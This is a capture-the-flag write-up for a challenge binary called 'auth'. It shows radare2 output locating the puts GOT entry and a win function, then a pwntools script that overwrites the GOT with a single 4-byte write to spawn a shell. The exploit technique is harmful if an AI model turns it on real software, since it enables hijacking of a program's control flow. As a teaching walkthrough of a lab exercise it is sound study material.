For this problem, we got one 4 byte write and we need to call the win function. As you can see, puts and exit are the only two functions called after the write, so we need to change the behavior of one of the two functions. Because aslr is enabled, we need to look for things that stay constant. One of these things is the [Global Offset Table](https://www.youtube.com/watch?v=kUk5pw4w0h4). The Global Offset Table is the thing that allows a c program to call libc libraries and serve as a jumping point for the program. If we modify this jumping point, we can make the program execute code at a different address than intended.

Our first step with be to extract the GOT address of the puts function and the address of the win function. This could be easily done with radare2:

$ r2 ./auth

[0x08048450]> aaaa

...

[0x08048450]> afl

...

0x080483d0 1 6 sym.imp.puts

...

0x0804854b 1 25 sym.win

...

[0x08048450]> pd 1 @ sym.imp.puts

/ (fcn) sym.imp.puts 6

| sym.imp.puts (const char \*s);

| ; CALL XREFS from sym.main (0x80485aa, 0x80485f1, 0x804863c, 0x804865c)

\ 0x080483d0 ff250ca00408 jmp dword [reloc.puts] ; 0x804a00c

As you can see, the address for the win function is 0x0804854b and the GOT address of the puts function is 0x804a00c. Now with the two values (if you recompile the binary, they might be different), we can quickly write a script to spawn a shell and retrieve the flag:

from pwn import \*

putsGOT = '0804a00c'

winAddr = '0804854b'

io = process('./auth’)

io.sendlineafter('?\n', putsGOT)

io.sendlineafter('\n', winAddr)

io.interactive()